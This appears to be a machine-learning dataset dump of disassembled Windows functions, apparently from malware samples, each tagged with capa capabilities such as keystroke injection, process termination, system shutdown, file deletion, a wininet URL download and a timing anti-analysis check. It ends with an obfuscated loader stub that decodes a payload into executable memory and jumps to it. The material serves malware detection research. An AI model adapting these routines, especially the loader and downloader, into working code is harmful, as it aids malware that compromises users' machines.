joyce8/EMBER2024-capa huggingface dataset:
Function at 0x414acb
Capabilities:
Find taskbar
Log keystrokes

Disassembly:
sub esp, 0xc
push ebp
push esi
push edi
call dword [sym.imp.USER32.dll_GetForegroundWindow]
mov esi, eax
xor ebp, ebp
cmp esi, ebp
jne 0x414aed
push ebp
push str.Shell_TrayWnd
call dword [sym.imp.USER32.dll_FindWindowA]
mov esi, eax
mov edi, dword [esp + 0x1c]
cmp edi, esi
je 0x414bd3
push edi
call dword [sym.imp.USER32.dll_IsIconic]
test eax, eax
je 0x414b0d
push 9
push edi
call dword [sym.imp.USER32.dll_ShowWindow]
push edi
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
jne 0x414bd3
push ebx
push ebp
push esi
mov esi, dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
call esi
mov edi, eax
mov dword [esp + 0x14], edi
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push ebp
mov ebx, eax
push dword [esp + 0x24]
mov dword [esp + 0x20], ebx
call esi
mov esi, dword [sym.imp.USER32.dll_AttachThreadInput]
push 1
push eax
push ebx
mov dword [esp + 0x1c], eax
call esi
push 1
push edi
push ebx
call esi
push 1
push dword [esp + 0x14]
push edi
call esi
push dword [esp + 0x20]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
test eax, eax
jne 0x414bbd
mov edi, dword [sym.imp.USER32.dll_MapVirtualKeyA]
push ebp
push ebp
push ebp
push 0x12
call edi
mov ebx, dword [sym.imp.USER32.dll_keybd_event]
push eax
push 0x12
call ebx
push ebp
push 2
push ebp
push 0x12
call edi
push eax
push 0x12
call ebx
push ebp
push ebp
push ebp
push 0x12
call edi
push eax
push 0x12
call ebx
push ebp
push 2
push ebp
push 0x12
call edi
push eax
push 0x12
call ebx
push dword [esp + 0x20]
call dword [sym.imp.USER32.dll_SetForegroundWindow]
mov edi, dword [esp + 0x14]
mov ebx, dword [esp + 0x18]
push ebp
push dword [esp + 0x14]
push ebx
call esi
push ebp
push edi
push ebx
call esi
push ebp
push dword [esp + 0x14]
push edi
call esi
pop ebx
pop edi
pop esi
pop ebp
add esp, 0xc
ret 4

Function at 0x414c81
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
lea eax, [ebp + 0x18]
push esi
mov esi, dword [ebp + 0x18]
push eax
push 1
push 0
push dword [ebp + 0xc]
and byte [esi], 0
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x414cc7
mov eax, dword [ebp + 0x14]
mov dword [ebp + 0xc], eax
lea eax, [ebp + 0xc]
push eax
push esi
push 0
push 0
push dword [ebp + 0x10]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp + 0x18]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop esi
pop ebp
ret

Function at 0x414cca
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
lea eax, [ebp - 8]
push esi
push eax
xor esi, esi
push 0x1f4
push 2
push esi
push esi
push 0x10
mov dword [ebp - 4], esi
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_SendMessageTimeoutA]
test eax, eax
jne 0x414d20
lea eax, [ebp - 4]
push edi
push eax
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push dword [ebp - 4]
push esi
push 0x1f0fff
call dword [sym.imp.KERNEL32.DLL_OpenProcess]
mov edi, eax
push esi
push edi
call dword [sym.imp.KERNEL32.DLL_TerminateProcess]
push edi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
pop edi
pop esi
leave
ret
Function at 0x414fc8
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
mov edi, dword [ebp + 0x18]
xor ebx, ebx
xor esi, esi
cmp edi, ebx
mov byte [0x43bcb0], bl
je 0x41500e
mov byte [0x43bcb1], 1
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
mov dword [ebp - 8], eax
lea eax, [ebp + 0x18]
push eax
lea eax, [ebp - 8]
push ebx
push eax
push 0x415051
push ebx
push ebx
mov dword [ebp - 4], edi
call fcn.00419076
add esp, 0x18
mov esi, eax
push dword [ebp + 0x14]
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_MessageBoxA]
cmp esi, ebx
mov edi, eax
je 0x41503c
push 0xffffffffffffffff
push esi
mov byte [0x43bcb1], bl
call dword [sym.imp.KERNEL32.DLL_WaitForSingleObject]
push esi
call dword [sym.imp.KERNEL32.DLL_CloseHandle]
cmp byte [0x43bcb0], 1
jne 0x41504a
or eax, 0xffffffff
jmp 0x41504c
mov eax, edi
pop edi
pop esi
pop ebx
leave
ret

Function at 0x41520e
Capabilities:
Get file version info

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
lea eax, [ebp - 8]
push esi
push eax
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoSizeA
mov esi, eax
xor ebx, ebx
cmp esi, ebx
je 0x415294
push edi
push esi
call fcn.00417840
pop ecx
mov edi, eax
push edi
push esi
push ebx
push dword [ebp + 8]
call sub.VERSION.dll_GetFileVersionInfoA
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 4]
push eax
push 0x42653c
push edi
call sub.VERSION.dll_VerQueryValueA
test eax, eax
je 0x415288
mov ecx, dword [ebp - 4]
mov edx, 0xffff
mov eax, dword [ecx + 8]
mov ecx, dword [ecx + 0xc]
mov esi, ecx
and esi, edx
shr ecx, 0x10
push esi
push ecx
mov ecx, eax
and ecx, edx
shr eax, 0x10
push ecx
push eax
push str._u._u._u._u
push dword [ebp + 0xc]
call fcn.00417b44
add esp, 0x18
mov bl, 1
push edi
call fcn.004178cb
pop ecx
mov al, bl
pop edi
jmp 0x415296
xor al, al
pop esi
pop ebx
leave
ret

Function at 0x41529a
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x140
push esi
mov esi, dword [ebp + 8]
push 0x2a
push esi
call fcn.00418700
pop ecx
test eax, eax
pop ecx
jne 0x4152d2
push 0x3f
push esi
call fcn.00418700
pop ecx
test eax, eax
pop ecx
jne 0x4152d2
push esi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
setne al
jmp 0x4152f2
lea eax, [ebp - 0x140]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
jne 0x4152e9
xor al, al
jmp 0x4152f2
push eax
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, 1
pop esi
leave
ret

Function at 0x4152f5
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push dword [esp + 4]
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x41530b
test al, 0x10
je 0x41530b
mov al, 1
ret
xor al, al
ret
Function at 0x415495
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x668
and byte [ebp - 1], 0
lea eax, [ebp - 0x108]
push eax
push dword [ebp + 8]
call fcn.0041530e
lea eax, [ebp - 0x108]
push eax
call fcn.004152f5
add esp, 0xc
test al, al
je 0x4154d7
lea eax, [ebp - 0x108]
push str..
push eax
call fcn.00417760
pop ecx
pop ecx
push ebx
lea eax, [ebp - 0x668]
push esi
push eax
lea eax, [ebp - 0x560]
push eax
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x458]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.004180be
add esp, 0x14
lea eax, [ebp - 0x248]
push eax
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
mov esi, eax
mov bl, 1
cmp esi, 0xffffffff
je 0x41559e
cmp bl, 1
jne 0x41559e
mov eax, dword [ebp - 0x248]
and eax, 0x10
cmp al, 0x10
je 0x415584
lea eax, [ebp - 0x458]
mov byte [ebp - 1], bl
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00417750
lea eax, [ebp - 0x350]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00417760
lea eax, [ebp - 0x21c]
push eax
lea eax, [ebp - 0x108]
push eax
call fcn.00417760
add esp, 0x18
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
cmp eax, 1
jne 0x41559a
lea eax, [ebp - 0x248]
push eax
push esi
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x415521
xor bl, bl
jmp 0x415521
xor bl, bl
jmp 0x4155a1
mov bl, byte [ebp - 1]
push esi
call dword [sym.imp.KERNEL32.DLL_FindClose]
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x4155ae
Capabilities:
Copy file
Delete file
Enumerate files on windows
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x988
push ebx
push esi
lea eax, [ebp - 0x218]
push edi
push eax
xor ebx, ebx
push dword [ebp + 8]
mov byte [ebp - 1], bl
call fcn.0041530e
lea eax, [ebp - 0x428]
push eax
push dword [ebp + 0xc]
call fcn.0041530e
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004153fb
mov byte [ebp + 0xf], al
lea eax, [ebp - 0x218]
push eax
call fcn.004152f5
add esp, 0x1c
mov esi, str..
test al, al
je 0x41561a
lea eax, [ebp - 0x218]
push esi
push eax
call fcn.00417760
pop ecx
pop ecx
lea eax, [ebp - 0x428]
push eax
call fcn.004152f5
test al, al
pop ecx
je 0x41563a
lea eax, [ebp - 0x428]
push esi
push eax
call fcn.00417760
pop ecx
pop ecx
lea eax, [ebp - 0x880]
push eax
lea eax, [ebp - 0x988]
push eax
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x218]
push eax
call fcn.004180be
add esp, 0x14
lea eax, [ebp - 0x568]
push eax
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.KERNEL32.DLL_FindFirstFileA]
cmp eax, 0xffffffff
mov dword [ebp - 8], eax
mov byte [ebp + 0xb], 1
je 0x4157a2
mov edi, dword [sym.imp.KERNEL32.DLL_DeleteFileA]
mov esi, dword [sym.imp.KERNEL32.DLL_CopyFileA]
cmp byte [ebp + 0xb], 1
jne 0x4157a2
mov eax, dword [ebp - 0x568]
mov byte [ebp - 1], 1
and eax, 0x10
cmp al, 0x10
je 0x415782
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x428]
push eax
lea eax, [ebp - 0x53c]
push eax
call fcn.004157b5
lea eax, [ebp - 0x778]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00417750
lea eax, [ebp - 0x670]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00417760
lea eax, [ebp - 0x53c]
push eax
lea eax, [ebp - 0x110]
push eax
call fcn.00417760
lea eax, [ebp - 0x320]
push eax
call fcn.0041529a
add esp, 0x28
test al, al
je 0x41572c
cmp byte [ebp + 0x10], bl
je 0x4157a5
lea eax, [ebp - 0x320]
push eax
call edi
cmp byte [ebp + 0x14], 1
jne 0x41576d
cmp byte [ebp + 0xf], bl
jne 0x41574d
lea eax, [ebp - 0x320]
push eax
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.DLL_MoveFileA]
jmp 0x41577e
lea eax, [ebp - 0x320]
push ebx
push eax
lea eax, [ebp - 0x110]
push eax
call esi
cmp eax, ebx
je 0x4157a5
lea eax, [ebp - 0x110]
push eax
call edi
jmp 0x41577e
lea eax, [ebp - 0x320]
push ebx
push eax
lea eax, [ebp - 0x110]
push eax
call esi
cmp eax, ebx
je 0x4157a5
lea eax, [ebp - 0x568]
push eax
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindNextFileA]
test eax, eax
jne 0x415695
mov byte [ebp + 0xb], bl
jmp 0x415695
mov bl, byte [ebp - 1]
push dword [ebp - 8]
call dword [sym.imp.KERNEL32.DLL_FindClose]
pop edi
mov al, bl
pop esi
pop ebx
leave
ret
Function at 0x41599c
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push esi
push edi
mov edi, dword [esp + 0xc]
push edi
call dword [sym.imp.KERNEL32.DLL_GetFileAttributesA]
cmp eax, 0x10
jne 0x4159b2
mov al, 1
jmp 0x4159f2
cmp eax, 0xffffffff
jne 0x4159f0
mov esi, dword [sym.imp.KERNEL32.DLL_GetLastError]
call esi
cmp eax, 3
jne 0x415a20
push edi
call fcn.00417850
inc eax
push eax
call fcn.00417840
mov esi, eax
push edi
push esi
call fcn.00417750
push 0x5c
push esi
call fcn.004191b0
add esp, 0x18
test eax, eax
jne 0x4159f5
push esi
call fcn.004178cb
pop ecx
xor al, al
pop edi
pop esi
ret
and byte [eax], 0
push ebx
push esi
call fcn.0041599c
push esi
mov bl, al
call fcn.004178cb
pop ecx
pop ecx
test bl, bl
je 0x415a1b
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
setne bl
mov al, bl
pop ebx
jmp 0x4159f2
call esi
cmp eax, 2
jne 0x4159f0
push 0
push edi
call dword [sym.imp.KERNEL32.DLL_CreateDirectoryA]
test eax, eax
setne al
jmp 0x4159f2

Function at 0x415a37
Capabilities:
Copy file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
lea eax, [ebp - 0x128]
push ebx
push eax
push dword [ebp + 8]
call fcn.0041530e
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 0xc]
call fcn.0041530e
lea eax, [ebp - 0x128]
push eax
call fcn.004152f5
add esp, 0x14
test al, al
jne 0x415a79
xor al, al
jmp 0x415b17
lea eax, [ebp - 0x230]
push eax
call fcn.004152f5
xor ebx, ebx
pop ecx
test al, al
je 0x415a91
cmp byte [ebp + 0x10], bl
jmp 0x415aa0
lea eax, [ebp - 0x230]
push eax
call fcn.0041599c
pop ecx
test al, al
je 0x415a72
lea eax, [ebp - 0x128]
push str..
push eax
call fcn.00417760
lea eax, [ebp - 0x128]
push eax
call fcn.00417850
mov byte [ebp + eax - 0x127], bl
lea eax, [ebp - 0x230]
push eax
call fcn.00417850
mov byte [ebp + eax - 0x22f], bl
lea eax, [ebp - 0x128]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x230]
add esp, 0x10
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x20]
mov dword [ebp - 0xa], ebx
push eax
mov dword [ebp - 6], ebx
mov dword [ebp - 0xe], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 2
mov word [ebp - 0x10], 0x614
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
neg eax
sbb al, al
inc al
pop ebx
leave
ret
Function at 0x415b1a
Capabilities:
Move file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x230
lea eax, [ebp - 0x128]
push ebx
push eax
push dword [ebp + 8]
call fcn.0041530e
lea eax, [ebp - 0x230]
push eax
push dword [ebp + 0xc]
call fcn.0041530e
lea eax, [ebp - 0x128]
push eax
call fcn.004152f5
add esp, 0x14
test al, al
je 0x415ba2
lea eax, [ebp - 0x230]
push eax
call fcn.004152f5
xor ebx, ebx
pop ecx
test al, al
je 0x415b6d
cmp byte [ebp + 0x10], bl
je 0x415ba2
lea eax, [ebp - 0x230]
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.004153fb
pop ecx
test al, al
pop ecx
je 0x415bbd
lea eax, [ebp - 0x230]
push 1
push eax
lea eax, [ebp - 0x128]
push eax
call fcn.00415a37
add esp, 0xc
test al, al
jne 0x415ba6
xor al, al
jmp 0x415c20
lea eax, [ebp - 0x128]
push 1
push eax
call fcn.00415c23
pop ecx
test al, al
pop ecx
setne al
jmp 0x415c20
lea eax, [ebp - 0x128]
push eax
call fcn.00417850
mov byte [ebp + eax - 0x127], bl
lea eax, [ebp - 0x230]
push eax
call fcn.00417850
mov byte [ebp + eax - 0x22f], bl
lea eax, [ebp - 0x128]
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x230]
pop ecx
mov dword [ebp - 0x14], eax
pop ecx
lea eax, [ebp - 0x20]
push eax
mov dword [ebp - 0xa], ebx
mov dword [ebp - 6], ebx
mov dword [ebp - 0xe], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 1
mov word [ebp - 0x10], 0x614
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
neg eax
sbb al, al
inc al
pop ebx
leave
ret

Function at 0x415c23
Capabilities:
Delete directory
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x128
lea eax, [ebp - 0x128]
push ebx
push eax
push dword [ebp + 8]
call fcn.0041530e
lea eax, [ebp - 0x128]
push eax
call fcn.004152f5
add esp, 0xc
test al, al
je 0x415cac
xor ebx, ebx
lea eax, [ebp - 0x128]
cmp byte [ebp + 0xc], bl
push eax
jne 0x415c6a
call dword [sym.imp.KERNEL32.DLL_RemoveDirectoryA]
test eax, eax
setne al
jmp 0x415cac
call fcn.00417850
mov byte [ebp + eax - 0x127], bl
lea eax, [ebp - 0x128]
mov dword [ebp - 0x18], eax
pop ecx
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], ebx
push eax
mov dword [ebp - 0xa], ebx
mov dword [ebp - 6], ebx
mov dword [ebp - 0xe], ebx
mov dword [ebp - 0x20], ebx
mov dword [ebp - 0x1c], 3
mov word [ebp - 0x10], 0x614
call dword [sym.imp.SHELL32.dll_SHFileOperationA]
neg eax
sbb al, al
inc al
pop ebx
leave
ret

Function at 0x415da1
Capabilities:
Get hostname
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x294
lea eax, [ebp - 0x294]
push eax
push 0x101
call sub.WSOCK32.dll_WSAStartup
test eax, eax
jne 0x415e28
lea eax, [ebp - 0x104]
push 0x100
push eax
call sub.WSOCK32.dll_gethostname
lea eax, [ebp - 0x104]
push eax
call sub.WSOCK32.dll_gethostbyname
mov eax, dword [eax + 0xc]
xor edx, edx
cmp dword [eax], edx
je 0x415df0
mov ecx, eax
add ecx, 4
inc edx
cmp dword [ecx], 0
jne 0x415de7
mov ecx, dword [ebp + 8]
cmp ecx, edx
jle 0x415dfe
push 0x426690
jmp 0x415e19
push 4
push dword [eax + ecx*4 - 4]
lea eax, [ebp - 4]
push eax
call fcn.00418ae0
add esp, 0xc
push dword [ebp - 4]
call sub.WSOCK32.dll_inet_ntoa
push eax
push dword [ebp + 0xc]
call fcn.00417750
pop ecx
pop ecx
call sub.WSOCK32.dll_WSACleanup
leave
ret
Function at 0x415f90
Capabilities:
Enumerate gui resources
Shutdown system

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
xor ebx, ebx
cmp byte [0x433c6c], bl
je 0x415ff5
lea eax, [ebp - 4]
push eax
push 0x28
call dword [sym.imp.KERNEL32.DLL_GetCurrentProcess]
push eax
call dword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x415ff1
lea eax, [ebp - 0x10]
push eax
push str.SeShutdownPrivilege
push ebx
call dword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
push ebx
push ebx
lea eax, [ebp - 0x14]
push ebx
push eax
push ebx
push dword [ebp - 4]
mov dword [ebp - 0x14], 1
mov dword [ebp - 8], 2
call dword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
call dword [sym.imp.KERNEL32.DLL_GetLastError]
test eax, eax
je 0x415ff5
xor al, al
jmp 0x416022
cmp byte [0x433c6d], bl
je 0x416013
test byte [ebp + 8], 4
je 0x416013
xor dword [ebp + 8], 4
push ebx
push 0x416025
call dword [sym.imp.USER32.dll_EnumWindows]
push ebx
push dword [ebp + 8]
call dword [sym.imp.USER32.dll_ExitWindowsEx]
test eax, eax
setne al
pop ebx
leave
ret

Function at 0x416118
Capabilities:
Log keystrokes

Disassembly:
cmp byte [esp + 8], 1
jne 0x416137
push 0x1388
push dword [esp + 8]
call fcn.004160f6
pop ecx
test al, al
pop ecx
jne 0x416153
push 1
jmp 0x416139
push 0
push 0
push dword [esp + 0xc]
call dword [sym.imp.USER32.dll_GetWindowThreadProcessId]
push eax
call dword [sym.imp.KERNEL32.DLL_GetCurrentThreadId]
push eax
call dword [sym.imp.USER32.dll_AttachThreadInput]
ret
Function at 0x4161e2
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x2010
call fcn.00417db0
push ebx
push esi
push edi
push str.wininet.dll
call dword [sym.imp.KERNEL32.DLL_LoadLibraryA]
mov edi, eax
mov eax, dword [ebp + 0x10]
xor ebx, ebx
cmp edi, ebx
jne 0x416210
mov byte [eax], 1
jmp 0x416319
mov esi, dword [sym.imp.KERNEL32.DLL_GetProcAddress]
push str.InternetOpenA
push edi
mov byte [eax], bl
call esi
push str.InternetOpenUrlA
push edi
mov dword [ebp - 4], eax
call esi
push str.InternetCloseHandle
push edi
mov dword [ebp - 0xc], eax
call esi
push str.InternetReadFile
push edi
mov dword [ebp + 0x10], eax
call esi
push ebx
push ebx
push ebx
push 4
push ebx
mov dword [ebp - 0x10], eax
call dword [ebp - 4]
mov esi, eax
cmp esi, ebx
jne 0x41625f
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x416319
push ebx
push ebx
push ebx
push ebx
push dword [ebp + 8]
push esi
call dword [ebp - 0xc]
cmp eax, ebx
mov dword [ebp + 8], eax
je 0x41628d
push 0x427ba0
push dword [ebp + 0xc]
call fcn.00417f46
pop ecx
cmp eax, ebx
pop ecx
mov dword [ebp - 4], eax
jne 0x416293
push dword [ebp + 8]
call dword [ebp + 0x10]
push esi
call dword [ebp + 0x10]
jmp 0x416253
mov dword [ebp - 8], 1
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2010]
push 0x2000
push eax
push dword [ebp + 8]
call dword [ebp - 0x10]
test eax, eax
je 0x4162f6
cmp dword [ebp - 8], ebx
je 0x4162d5
push dword [ebp - 4]
lea eax, [ebp - 0x2010]
push 1
push dword [ebp - 8]
push eax
call fcn.004191d7
add esp, 0x10
cmp dword [ebp - 8], ebx
jne 0x41629a
push dword [ebp + 8]
call dword [ebp + 0x10]
push esi
call dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push dword [ebp - 4]
call fcn.00417d2f
pop ecx
mov al, 1
pop edi
pop esi
pop ebx
leave
ret
push dword [ebp + 8]
call dword [ebp + 0x10]
push esi
call dword [ebp + 0x10]
push edi
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
push dword [ebp - 4]
call fcn.00417d2f
pop ecx
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.DLL_DeleteFileA]
xor al, al
jmp 0x4162f1

Function at 0x4163b6
Capabilities:
Check for time delay via queryperformancecounter

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov al, byte [0x433c6d]
push esi
neg al
sbb eax, eax
and eax, 0x2d
add eax, 0xa
cmp dword [ebp + 8], eax
jae 0x416425
mov esi, dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
lea eax, [ebp - 0x10]
push eax
call esi
test eax, eax
je 0x416425
lea eax, [ebp - 0x20]
push eax
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceFrequency]
push 0
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 8]
push eax
call esi
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 4]
sub eax, dword [ebp - 0x10]
sbb ecx, dword [ebp - 0xc]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ecx
fild qword [ebp - 0x18]
fild qword [ebp - 0x20]
fdivp st(1)
fmul qword [0x422470]
call fcn.00417c2c
cmp eax, dword [ebp + 8]
jb 0x4163eb
jmp 0x41642e
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.DLL_Sleep]
pop esi
leave
ret
Function at 0x416a31
Capabilities:
Encode data using xor

Disassembly:
push edi
push dword [esp + 0x10]
call fcn.00402369
xor edi, edi
pop ecx
cmp dword [esp + 0xc], edi
jbe 0x416a5b
push esi
mov eax, dword [esp + 0xc]
lea esi, [edi + eax]
call fcn.00402480
xor byte [esi], al
inc edi
cmp edi, dword [esp + 0x10]
jb 0x416a45
pop esi
pop edi
ret 0xc

Function at 0x416ecd
Capabilities:
Hash data using crc32b

Disassembly:
mov eax, ecx
push esi
push edi
mov edi, eax
or dword [eax + 0x400], 0xffffffff
xor esi, esi
mov edx, esi
push 8
shl edx, 0x18
pop ecx
test edx, 0x80000000
je 0x416ef6
add edx, edx
xor edx, 0x4c11db7
jmp 0x416ef8
shl edx, 1
dec ecx
jne 0x416ee4
mov dword [edi], edx
inc esi
add edi, 4
cmp esi, 0x100
jl 0x416edc
pop edi
pop esi
ret

Function at 0x41e6a3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1a4
mov edx, dword [ebp + 8]
xor ecx, ecx
mov eax, 0x42a6e8
cmp edx, dword [eax]
je 0x41e6c5
add eax, 8
inc ecx
cmp eax, 0x42a778
jl 0x41e6b6
push esi
mov esi, ecx
shl esi, 3
cmp edx, dword [esi + 0x42a6e8]
jne 0x41e7f3
mov eax, dword [0x43bd34]
cmp eax, 1
je 0x41e7cd
test eax, eax
jne 0x41e6f6
cmp dword [0x427c54], 1
je 0x41e7cd
cmp edx, 0xfc
je 0x41e7f3
lea eax, [ebp - 0x1a4]
push 0x104
push eax
push 0
call dword [sym.imp.KERNEL32.DLL_GetModuleFileNameA]
test eax, eax
jne 0x41e72d
lea eax, [ebp - 0x1a4]
push str._program_name_unknown_
push eax
call fcn.00417750
pop ecx
pop ecx
lea eax, [ebp - 0x1a4]
push edi
push eax
lea edi, [ebp - 0x1a4]
call fcn.00417850
inc eax
pop ecx
cmp eax, 0x3c
jbe 0x41e770
lea eax, [ebp - 0x1a4]
push eax
call fcn.00417850
mov edi, eax
lea eax, [ebp - 0x1a4]
sub eax, 0x3b
push 3
add edi, eax
push 0x422970
push edi
call fcn.00418210
add esp, 0x10
lea eax, [ebp - 0xa0]
push str.Runtime_Error__n_nProgram:
push eax
call fcn.00417750
lea eax, [ebp - 0xa0]
push edi
push eax
call fcn.00417760
lea eax, [ebp - 0xa0]
push 0x4264e0
push eax
call fcn.00417760
push dword [esi + 0x42a6ec]
lea eax, [ebp - 0xa0]
push eax
call fcn.00417760
push 0x12010
lea eax, [ebp - 0xa0]
push str.Microsoft_Visual_C_Runtime_Library
push eax
call fcn.0042034d
add esp, 0x2c
pop edi
jmp 0x41e7f3
lea eax, [ebp + 8]
lea esi, [esi + 0x42a6ec]
push 0
push eax
push dword [esi]
call fcn.00417850
pop ecx
push eax
push dword [esi]
push 0xfffffffffffffff4
call dword [sym.imp.KERNEL32.DLL_GetStdHandle]
push eax
call dword [sym.imp.KERNEL32.DLL_WriteFile]
pop esi
leave
ret
Function at 0x100062f5
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x10006304
pop dword [ebp - 0xc]
mov eax, 0x10006304
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x93f163a7
sub dword [ebp - 0x1c], 0x459f1e5c
mov dword [ebp - 0x18], 0x8e8a2a0d
add dword [ebp - 0x18], 0xa3a92238
mov dword [ebp - 0x14], 0x9576eca8
sub dword [ebp - 0x14], 0x492aa87a
mov dword [ebp - 0x10], 0xd463b571
sub dword [ebp - 0x10], 0xd463b571
lea eax, [ebp - 0x1c]
push eax
mov eax, 0x253907a6
sub eax, 0x1538f746
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0x3936ac76
add dword [ebp - 0x1c], 0x3b3bbce0
mov dword [ebp - 0x18], 0xda56bee9
sub dword [ebp - 0x18], 0x98ea5d74
mov dword [ebp - 0x14], 0x33a974dd
sub dword [ebp - 0x14], 0xd03a0871
mov dword [ebp - 0x10], 0xea2216e3
add dword [ebp - 0x10], 0x15dde91d
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x39cd8
push 0
call eax
mov ecx, 0xcc8c50b
add ecx, 0xf3378978
mov edi, eax
mov ebx, 0x8e70cef8
add ebx, 0x81908108
add ebx, dword [ebp - 0xc]
mov esi, 0xded11560
sub dword [ebp - 4], eax
mov edx, dword [ebx]
xor dword [ebp - 8], esi
add edx, esi
add dword [ebp - 8], eax
mov dword [edi], edx
xor dword [ebp - 8], eax
add edi, 0x533b0edb
sub edi, 0x533b0ed7
add ebx, 0x5e1db9b6
add ebx, 0xa1e2464e
loop 0x10006416
add eax, 0x12cdf
mov ebx, eax
add eax, 0x12fee5b7
add eax, 0xed011a4e
mov ecx, 0x10000000
add ecx, dword [ebp - 0xc]
call ebx
leave
ret